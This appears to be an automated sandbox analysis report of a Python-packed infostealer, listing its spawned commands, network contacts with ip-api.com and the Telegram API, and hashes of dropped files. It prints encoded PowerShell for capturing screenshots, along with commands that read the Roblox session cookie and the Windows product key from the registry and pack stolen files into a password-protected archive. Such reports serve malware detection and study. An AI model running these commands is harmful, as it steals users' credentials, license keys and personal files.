AA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zrua0swk\zrua0swk.cmdline"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA19F.tmp" "c:\Users\Admin\AppData\Local\Temp\zrua0swk\CSC980D2563EEFD4AA0857D86F8D84E92.TMP"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "getmac"

C:\Windows\system32\getmac.exe

getmac

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI34642\rar.exe a -r -hp"pk" "C:\Users\Admin\AppData\Local\Temp\2xrky.zip" *"

C:\Users\Admin\AppData\Local\Temp\_MEI34642\rar.exe

C:\Users\Admin\AppData\Local\Temp\_MEI34642\rar.exe a -r -hp"pk" "C:\Users\Admin\AppData\Local\Temp\2xrky.zip" *

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic os get Caption"

C:\Windows\System32\Wbem\WMIC.exe

wmic os get Caption

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"

C:\Windows\System32\Wbem\WMIC.exe

wmic computersystem get totalphysicalmemory

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"

C:\Windows\System32\Wbem\WMIC.exe

wmic csproduct get uuid

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"

C:\Windows\System32\Wbem\WMIC.exe

wmic path win32_VideoController get name

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault

C:\Windows\servicing\TrustedInstaller.exe

C:\Windows\servicing\TrustedInstaller.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 8.8.8.8:53 gstatic.com udp
GB 142.250.200.35:443 gstatic.com tcp
US 8.8.8.8:53 0.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 196.249.167.52.in-addr.arpa udp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 api.telegram.org udp
NL 149.154.167.220:443 api.telegram.org tcp
US 8.8.8.8:53 1.112.95.208.in-addr.arpa udp
US 8.8.8.8:53 220.167.154.149.in-addr.arpa udp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 149.220.183.52.in-addr.arpa udp
US 8.8.8.8:53 53.210.109.20.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 101.11.19.2.in-addr.arpa udp
US 8.8.8.8:53 205.47.74.20.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 43.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 10.28.171.150.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\_MEI34642\python312.dll

MD5 fb8bedf8440eb432c9f3587b8114abc0
SHA1 136bb4dd38a7f6cb3e2613910607131c97674f7c
SHA256 cb627a3c89de8e114c95bda70e9e75c73310eb8af6cf3a937b1e3678c8f525b6
SHA512 b632235d5f60370efa23f8c50170a8ac569ba3705ec3d515efcad14009e0641649ab0f2139f06868024d929defffffefb352bd2516e8cd084e11557b31e95a63

C:\Users\Admin\AppData\Local\Temp\_MEI34642\VCRUNTIME140.dll

MD5 be8dbe2dc77ebe7f88f910c61aec691a
SHA1 a19f08bb2b1c1de5bb61daf9f2304531321e0e40
SHA256 4d292623516f65c80482081e62d5dadb759dc16e851de5db24c3cbb57b87db83
SHA512 0da644472b374f1da449a06623983d0477405b5229e386accadb154b43b8b083ee89f07c3f04d2c0c7501ead99ad95aecaa5873ff34c5eeb833285b598d5a655

memory/2984-26-0x00007FFA2ED40000-0x00007FFA2F405000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI34642\base_library.zip

MD5 8dad91add129dca41dd17a332a64d593
SHA1 70a4ec5a17ed63caf2407bd76dc116aca7765c0d
SHA256 8de4f013bfecb9431aabaa97bb084fb7de127b365b9478d6f7610959bf0d2783
SHA512 2163414bc01fc30d47d1de763a8332afe96ea7b296665b1a0840d5197b7e56f4963938e69de35cd2bf89158e5e2240a1650d00d86634ac2a5e2ad825455a2d50

C:\Users\Admin\AppData\Local\Temp\_MEI34642\_ctypes.pyd

MD5 a8cb7698a8282defd6143536ed821ec9
SHA1 3d1b476b9c042d066de16308d99f1633393a497a
SHA256 40d53a382a78b305064a4f4df50543d2227679313030c9edf5ee82af23bf8f4a
SHA512 1445ae7dc7146afbe391e131baff456445d7e96a3618bfef36dc39af978dd305e3a294acd62ee91a050812c321a9ec298085c7ad4eb9b81e2e40e23c5a85f2cc

memory/2984-30-0x00007FFA3F050000-0x00007FFA3F075000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI34642\_ssl.pyd

MD5 615bfc3800cf4080bc6d52ac091ec925
SHA1 5b661997ed1f0a6ea22640b11af71e0655522a10
SHA256 1819dd90e26aa49eb40119b6442e0e60ec95d3025e9c863778dcc6295a2b561f
SHA512 1198426b560044c7f58b1a366a9f8afcde1b6e45647f9ae9c451fb121708aa4371673815be1d35ad1015029c7c1c6ea4755eb3701dbf6f3f65078a18a1daeacb

C:\Users\Admin\AppData\Local\Temp\_MEI34642\_sqlite3.pyd

MD5 3d85e2aa598468d9449689a89816395e
SHA1 e6d01b535c8fc43337f3c56bfc0678a64cf89151
SHA256 6f0c212cb7863099a7ce566a5cf83880d91e38a164dd7f9d05d83cce80fa1083
SHA512 a9a527fc1fcce3ffe95e9e6f4991b1a7156a5ca35181100ea2a25b42838b91e39dd9f06f0efedb2453aa87f90e134467a7662dbbe22c6771f1204d82cc6cea82

memory/2984-50-0x00007FFA475E0000-0x00007FFA475EF000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI34642\_socket.pyd

MD5 f8d03997e7efcdd28a351b6f35b429a2
SHA1 1a7ae96f258547a14f6e8c0defe127a4e445206d
SHA256 aef190652d8466c0455311f320248764acbff6109d1238a26f8983ce86483bf1
SHA512 40c9bce421c7733df37558f48b8a95831cc3cf3e2c2cdf40477b733b14bd0a8a0202bc8bc95f39fcd2f76d21deac21ad1a4d0f6218b8f8d57290968163effef8

C:\Users\Admin\AppData\Local\Temp\_MEI34642\_queue.pyd

MD5 fc796fcde996f78225a4ec1bed603606
SHA1 5389f530aaf4bd0d4fce981f57f68a67fe921ee1
SHA256 c7c598121b1d82eb710425c0dc1fc0598545a61ffb1dd41931bb9368fb350b93
SHA512 4d40e5a4ab266646bedacf4fde9674a14795dcfb72aae70a1c4c749f7a9a4f6e302a00753fe0446c1d7cc90caee2d37611d398fdc4c68e48c8bc3637dfd57c15

C:\Users\Admin\AppData\Local\Temp\_MEI34642\_lzma.pyd

MD5 05adb189d4cfdcacb799178081d8ebcb
SHA1 657382ad2c02b42499e399bfb7be4706343cecab
SHA256 87b7bae6b4f22d7d161aefae54bc523d9c976ea2aef17ee9c3cf8fe958487618
SHA512 13fc9204d6f16a6b815addf95c31ea5c543bf8608bfcc5d222c7075dd789551a202ae442fddc92ea5919ecf58ba91383a0f499182b330b98b240152e3aa868c5

C:\Users\Admin\AppData\Local\Temp\_MEI34642\_hashlib.pyd

MD5 89f3c173f4ca120d643aab73980ade66
SHA1 e4038384b64985a978a6e53142324a7498285ec4
SHA256 95b1f5eff9d29eb6e7c6ed817a12ca33b67c76acea3cb4f677ec1e6812b28b67
SHA512 76e737552be1ce21b92fa291777eac2667f2cfc61ae5eb62d133c89b769a8d4ef8082384b5c819404b89a698fcc1491c62493cf8ff0dcc65e01f96b6f7b5e14f

C:\Users\Admin\AppData\Local\Temp\_MEI34642\_decimal.pyd

MD5 ccfad3c08b9887e6cea26ddca2b90b73
SHA1 0e0fb641b386d57f87e69457faf22da259556a0d
SHA256 bad3948151d79b16776db9a4a054033a6f2865cb065f53a623434c6b5c9f4aad
SHA512 3af88779db58dcae4474c313b7d55f181f0678c24c16240e3b03721b18b66bdfb4e18d73a3cef0c954d0b8e671cf667fc5e91b5f1027de489a7039b39542b8ca

C:\Users\Admin\AppData\Local\Temp\_MEI34642\_bz2.pyd

MD5 980eff7e635ad373ecc39885a03fbdc3
SHA1 9a3e9b13b6f32b207b065f5fcf140aecfd11b691
SHA256 b4411706afc8b40a25e638a59fe1789fa87e1ce54109ba7b5bd84c09c86804e1
SHA512 241f9d3e25e219c7b9d12784ab525ab5ded58ca623bc950027b271c8dfb7c19e13536f0caf937702f767413a6d775bed41b06902b778e4bad2946917e16ad4ef

C:\Users\Admin\AppData\Local\Temp\_MEI34642\unicodedata.pyd

MD5 27b3af74ddaf9bca239bf2503bf7e45b
SHA1 80a09257f9a4212e2765d492366ed1e60d409e04
SHA256 584c2ecea23dfc72ab793b3fd1059b3ea6fdf885291a3c7a166157cf0e6491c4
SHA512 329c3a9159ea2fdce5e7a28070bcf9d6d67eca0b27c4564e5250e7a407c8b551b68a034bfde9d8d688fa5a1ae6e29e132497b3a630796a97b464762ca0d81bb7

C:\Users\Admin\AppData\Local\Temp\_MEI34642\sqlite3.dll

MD5 482b3f8adf64f96ad4c81ae3e7c0fb35
SHA1 91891d0eabb33211970608f07850720bd8c44734
SHA256 1fbdb4020352e18748434ef6f86b7346f48d6fb9a72c853be7b05e0e53ebbb03
SHA512 5de56e00ab6f48ffc836471421d4e360d913a78ee8e071896a2cd951ff20f7a4123abd98adf003ce166dcc82aad248ebf8b63e55e14eceec8aa9a030067c0d1d

C:\Users\Admin\AppData\Local\Temp\_MEI34642\select.pyd

MD5 08b4caeaccb6f6d27250e6a268c723be
SHA1 575c11f72c8d0a025c307cb12efa5cb06705561d
SHA256 bd853435608486555091146ab34b71a9247f4aaa9f7ecfbc3b728a3e3efde436
SHA512 9b525395dec028ef3286c75b88f768e5d40195d4d5adab0775c64b623345d81da1566596cc61a460681bc0adba9727afc96c98ad2e54ff371919f3db6d369b0c

C:\Users\Admin\AppData\Local\Temp\_MEI34642\rarreg.key

MD5 4531984cad7dacf24c086830068c4abe
SHA1 fa7c8c46677af01a83cf652ef30ba39b2aae14c3
SHA256 58209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211
SHA512 00056f471945d838ef2ce56d51c32967879fe54fcbf93a237ed85a98e27c5c8d2a39bc815b41c15caace2071edd0239d775a31d1794dc4dba49e7ecff1555122

C:\Users\Admin\AppData\Local\Temp\_MEI34642\rar.exe

MD5 9c223575ae5b9544bc3d69ac6364f75e
SHA1 8a1cb5ee02c742e937febc57609ac312247ba386
SHA256 90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213
SHA512 57663e2c07b56024aaae07515ee3a56b2f5068ebb2f2dc42be95d1224376c2458da21c965aab6ae54de780cb874c2fc9de83d9089abf4536de0f50faca582d09

C:\Users\Admin\AppData\Local\Temp\_MEI34642\libssl-3.dll

MD5 264be59ff04e5dcd1d020f16aab3c8cb
SHA1 2d7e186c688b34fdb4c85a3fce0beff39b15d50e
SHA256 358b59da9580e7102adfc1be9400acea18bc49474db26f2f8bacb4b8839ce49d
SHA512 9abb96549724affb2e69e5cb2c834ecea3f882f2f7392f2f8811b8b0db57c5340ab21be60f1798c7ab05f93692eb0aeab077caf7e9b7bb278ad374ff3c52d248

C:\Users\Admin\AppData\Local\Temp\_MEI34642\libcrypto-3.dll

MD5 7f1b899d2015164ab951d04ebb91e9ac
SHA1 1223986c8a1cbb57ef1725175986e15018cc9eab
SHA256 41201d2f29cf3bc16bf32c8cecf3b89e82fec3e5572eb38a578ae0fb0c5a2986
SHA512 ca227b6f998cacca3eb6a8f18d63f8f18633ab4b8464fb8b47caa010687a64516181ad0701c794d6bfe3f153662ea94779b4f70a5a5a94bb3066d8a011b4310d

C:\Users\Admin\AppData\Local\Temp\_MEI34642\bound.blank

MD5 e58147a89a26cd3bffd4e0c3d737c1e0
SHA1 3632a5855e042861be4a55cce23351b30eb657e6
SHA256 01a49bced79e71ebacdd4e47b76eea00af65bb9b0fa1f011fb9d1f40c45cad61
SHA512 0afd2ffb399dd9643acaa9096a92cf246e275db53a5519a9edff32abbcb1e69239bb83d8ea0b5a1b681c686185083621754dafc9cd8b5cd720206e613356981d

C:\Users\Admin\AppData\Local\Temp\_MEI34642\blank.aes

MD5 708de5bad783d4bae9ebc49914c6af6e
SHA1 347eb599b3c4864788b6db8eb6bab9174f3c95a2
SHA256 a983397d496f1aed7f6206b9e66532224679d70506c2ee44eb10cdc21f290c5e
SHA512 8c72607f7f73fe099dde7946813029941c7e18b7eb2fa8607829a45bd0b8e40c0d5b161250ea63a878404f77afb7c17695e53b89d429a95115be3155bca3d127

C:\Users\Admin\AppData\Local\Temp\_MEI34642\libffi-8.dll

MD5 08b000c3d990bc018fcb91a1e175e06e
SHA1 bd0ce09bb3414d11c91316113c2becfff0862d0d
SHA256 135c772b42ba6353757a4d076ce03dbf792456143b42d25a62066da46144fece
SHA512 8820d297aeda5a5ebe1306e7664f7a95421751db60d71dc20da251bcdfdc73f3fd0b22546bd62e62d7aa44dfe702e4032fe78802fb16ee6c2583d65abc891cbf

memory/2984-56-0x00007FFA3E1D0000-0x00007FFA3E1FD000-memory.dmp

memory/2984-60-0x00007FFA39D70000-0x00007FFA39D94000-memory.dmp

memory/2984-59-0x00007FFA3F1B0000-0x00007FFA3F1CA000-memory.dmp

memory/2984-62-0x00007FFA2EBC0000-0x00007FFA2ED3E000-memory.dmp

memory/2984-66-0x00007FFA40B90000-0x00007FFA40B9D000-memory.dmp

memory/2984-65-0x00007FFA3E500000-0x00007FFA3E519000-memory.dmp

memory/2984-74-0x00007FFA2DE00000-0x00007FFA2DECD000-memory.dmp

memory/2984-73-0x00007FFA3F050000-0x00007FFA3F075000-memory.dmp

memory/2984-72-0x00007FFA2DED0000-0x00007FFA2E3F9000-memory.dmp

memory/2984-71-0x00007FFA35720000-0x00007FFA35753000-memory.dmp

memory/2984-69-0x00007FFA2ED40000-0x00007FFA2F405000-memory.dmp

memory/2984-76-0x00007FFA2FF70000-0x00007FFA2FF84000-memory.dmp

memory/2984-78-0x00007FFA43B80000-0x00007FFA43B8D000-memory.dmp

memory/2984-81-0x00007FFA2E8E0000-0x00007FFA2E9FB000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\bound.exe

MD5 e42b6aa3255c2a75ad2e05cd40fe7063
SHA1 bfb988a0eac4686ec396f45f87c35721634e7a74
SHA256 a0b162a146bcf19634559a88877c21fabb512fbed11834f82d2fa60e56f0faa6
SHA512 f4f189d908a3d79506d9e32eb1f59758ee3071ff71ecad1dd75b767fe9a47afb8349fc8c0165779c25506e27625fb0e7e78448ec5f7beca8aad79a4caa645f65

memory/1712-166-0x00000299CABA0000-0x00000299CABC2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5ckrxuu4.yuq.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2984-170-0x00007FFA39D70000-0x00007FFA39D94000-memory.dmp

memory/4276-171-0x0000000000780000-0x00000000007B2000-memory.dmp

memory/4276-181-0x0000000005690000-0x0000000005C34000-memory.dmp

memory/4276-191-0x00000000050E0000-0x0000000005172000-memory.dmp

memory/4276-210-0x0000000005080000-0x000000000508A000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 a6c9d692ed2826ecb12c09356e69cc09
SHA1 def728a6138cf083d8a7c61337f3c9dade41a37f
SHA256 a07d329eb9b4105ba442c89f7cfa0d7b263f9f0617e26df93cf8cdc8dc94d57b
SHA512 2f27d2b241ce34f988c39e17ca5a1ebe628ac6c1b8ee8df121db9ad8929eaadf5f24ad66457591cccf87e60d2ba2eab88af860ab9c323a5c2a9867045d6e7ba3

\??\c:\Users\Admin\AppData\Local\Temp\zrua0swk\zrua0swk.cmdline

MD5 b0c6aabd3dab88340a5f5ce26d72404f
SHA1 3ca455822a57f0d20d80b277c3b5c9d90ab8c992
SHA256 f6ffc7e83ac6be028c7cb43895332088ae7575229f2093bf31c7de9ea2e29aa5
SHA512 bdc845857dafcf1b8ad20f7fd23618de27e74ef96e39daa964705e3e5dc5bb3e469f533fe252f81d3453af4292e97d5c63f3cf0613904805ef3a9cec0d2ce883

\??\c:\Users\Admin\AppData\Local\Temp\zrua0swk\zrua0swk.0.cs

MD5 c76055a0388b713a1eabe16130684dc3
SHA1 ee11e84cf41d8a43340f7102e17660072906c402
SHA256 8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7
SHA512 22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

memory/2984-223-0x00007FFA2EBC0000-0x00007FFA2ED3E000-memory.dmp

\??\c:\Users\Admin\AppData\Local\Temp\zrua0swk\CSC980D2563EEFD4AA0857D86F8D84E92.TMP

MD5 57aa59e534e20a407d88aa6518dfd3dc
SHA1 7fac30b2691bf0f001c0791df445dc9c1aca7352
SHA256 a865aad9774115177e69d4587203b4171687eb39c8b2e98eecb48e7feca4842a
SHA512 55266b52964ef59f8cd25035dfdcdaf572e4645fd1e8ddc2da8e9ea94610e64ef676428a6cc35beab0123a5eedaf5a634831660c0869407c0696757f082e94c1

C:\Users\Admin\AppData\Local\Temp\RESA19F.tmp

MD5 6cb87a451caacc35bc6df5a9e16e6c73
SHA1 088c3715f1edb06a3aba99cf643fdf8d6bcd1879
SHA256 9b3ea264e5335757056cff52fd55c994d8547917ce403bab76ad89e431310964
SHA512 a3cbfdff27baab10b5757fee0495312cdb796ae27b7f4b94197347629eac338375a52f66bb86b6e588e89feba4d1fd946562b6fac735a0f9cba05d45c10d3648

C:\Users\Admin\AppData\Local\Temp\zrua0swk\zrua0swk.dll

MD5 2b7a7ccf541083d7f5b2a3b9556e4c3e
SHA1 bf36b2417c7e3538eb0cccd1f96f2fddf132b398
SHA256 8ae50b99404d0fdbc4d8ba5488a81cc5838d3b63b42599b00ad667d036536f92
SHA512 a693f9d8c3d0c09762566e3206bb0b07d262119a42f05ad962acc08ddcc874f04a47e5a16a48dbddad0fd35b3e841e28fce7dbbacc004d8b5146f67dfcd1844d

memory/4000-229-0x0000023BDBA20000-0x0000023BDBA28000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 bd5940f08d0be56e65e5f2aaf47c538e
SHA1 d7e31b87866e5e383ab5499da64aba50f03e8443
SHA256 2d2f364c75bd2897504249f42cdf1d19374f5230aad68fa9154ea3d03e3031a6
SHA512 c34d10c7e07da44a180fae9889b61f08903aa84e8ddfa80c31c272b1ef9d491b8cec6b8a4c836c3cb1583fe8f4955c6a8db872515de3a9e10eae09610c959406

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 23d3948ac217212bbecd71da1d06db0b
SHA1 a1368d24c77fe7c7f18b7a12ef25c6ae31389bf3
SHA256 b0f6b9cc9b74d022850c8b90dbd660e7eb57a6e643bc1190803ae6719b2eb841
SHA512 0e082892b6e73b053dda3b07629ce58347627a13faf884698f36e43615bbc9200d79d33f4b025683b03e08dba67f4d5279729e58cae755baa282f88c9fa2f9d0

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 d3235ed022a42ec4338123ab87144afa
SHA1 5058608bc0deb720a585a2304a8f7cf63a50a315
SHA256 10663f5a1cb0afe5578f61ebaae2aafb363544e47b48521f9c23be9e6e431b27
SHA512 236761b7c68feca8bd62cba90cff0b25fac5613837aaa5d29ae823ace8b06a2057553cf7e72b11ccc59b6c289e471ca1bbac1a880aef5e2868875371a17c1abf

C:\Users\Admin\AppData\Local\Temp\ ​ ‍ ‏ ‍  \Common Files\Desktop\EnableUnprotect.mp4

MD5 6f5768c7d270729b69f26acb4d3de4c5
SHA1 f2794548973f175bb4a6e3986ee1e9433559cdbc
SHA256 3ee381dcb8f46447952709bdee1c9b6e7b30e6a35ad38860379789e2e2261ce9
SHA512 1f5b756c052b351514b655185006b375d9718e8fe8a135d25d19a26805f5679f1baecf0a591eb96bc04f5620a5d9433c3a9d382889b2d7c8d5d1be426bb16d7c

C:\Users\Admin\AppData\Local\Temp\ ​ ‍ ‏ ‍  \Common Files\Desktop\MeasureTest.jpeg

MD5 3cf0cd015ed87b77925a3902854333c1
SHA1 978d585fa6e2e957539ef26b9b1b546f04b5138a
SHA256 dab8b75010cfc657df1f13b1969d4d3b3de9365e171a8a2237d76fb39ab7b35d
SHA512 b66f44d0d0f04eb4b50266fb41514191199837b739d181eb4601f87534eeff2313fe662651cc028005b0362788c224b5c4ebf1418a577d9603c8177992b87041

C:\Users\Admin\AppData\Local\Temp\ ​ ‍ ‏ ‍  \Common Files\Desktop\OpenConvertTo.txt

MD5 9ba5436eb24dc273a501d6ea30c10f89
SHA1 b34d92401d936fc3be32f721093a176788e09819
SHA256 bf5783648f26c62688319c4204279caf561f14d3a39090e9f61fc8797ae7ae5b
SHA512 5d5a9b11b89330d79a7656fc15d162ebf0244394da4f79f6260d07cb13c07495665e95f93c94344d0dfc4d2078b630a0b951b2652750e0724ee37f288f74b79a

C:\Users\Admin\AppData\Local\Temp\ ​ ‍ ‏ ‍  \Common Files\Desktop\OutSplit.mp4

MD5 79019279098f80b7229bfead30b9df09
SHA1 eda5d03567b09cf3fc2172e70992d9ae28f50ed4
SHA256 23f9b79e51d52aa56adf66453ec6d74a721c2ad880cbbea31618866c6961a2c7
SHA512 df57e6709c38c06cc7b15f834b2467c8321be96535a0657f9b1e2aee4c472d036a74859aee0863ac12f60581945215344f138e4bff6cab6b1913a3e8d6e460b6

C:\Users\Admin\AppData\Local\Temp\ ​ ‍ ‏ ‍  \Common Files\Documents\AddBackup.xlsx

MD5 e385a991a7f462ab5a69c22c3484ecf1
SHA1 d32dd7e80026db52fd47134d8094c2acddb2dda9
SHA256 01aef927e279662523af78d645da4538c7557a62989d275b164af9dd3369722d
SHA512 c3a473c8e327a2ced526a473ef8c08857b8be40e961f7ab47a7449e0b816ca17635c6dc6b020782d6858b61cac96c7f5c09d830b9fa29c3f587debd81693c411

C:\Users\Admin\AppData\Local\Temp\ ​ ‍ ‏ ‍  \Common Files\Desktop\SyncExpand.xlsx

MD5 0d0ed233f3bcac4ee1f7cdf3176695bd
SHA1 ba729bb91f826a553befd50e978eb057a4d80f00
SHA256 fdd9fe2453256bd252004d9ccabcebbb47e55c4c8696d0c13a74c43a3030cdb1
SHA512 16318e3bf66a011289329191e4d31fb329b5ec99e0b4a49909fff2374e42f2f1344d43b6086da41ee5d0c3bcc2572c93f1ea0fd47f3cb4afb51f0781a2501903

C:\Users\Admin\AppData\Local\Temp\ ​ ‍ ‏ ‍  \Common Files\Desktop\SkipResume.xlsx

MD5 6cb426ed6a37b3510b7ca772e49e31fd
SHA1 447e6dc69b6686f71713399d08c2697593e679a3
SHA256 affc76f9c7b5bb21dc310111e7bfc7a66e756288f2f515fecc72f9bb2ff04307
SHA512 4afe8db40311f01f51ac063d4b31eefe9f018e1d7d3cb86ca84beaa4b55361186be0a2906dc980fa64db1f452d13b33f2152b9b89c814b52a6b002a5f31488c0

C:\Users\Admin\AppData\Local\Temp\ ​ ‍ ‏ ‍  \Common Files\Documents\ConvertInitialize.pdf

MD5 9e9f5551911bdbb46a0ec45968bcdef3
SHA1 5ee612b065becb61b499438de8befe93b618070a
SHA256 5d7c9482ecc8fe7335ccbde3a6dca5ffabb874c9d03e5d16a956c1b47bcdb375
SHA512 1499bf86c76deabe405c8a9215fdd884d8d881e4ac8116446b6806cad729853d7a1a1ed5e9db613c8b0afd451b0b0a452e9c819aa3da6d362e81400904728f6b

C:\Users\Admin\AppData\Local\Temp\ ​ ‍ ‏ ‍  \Common Files\Documents\JoinReset.xls

MD5 066771601ef62c39d49f79a7fa2c0226
SHA1 716e0e365044b1bde0182197fa334bf3e46ce01f
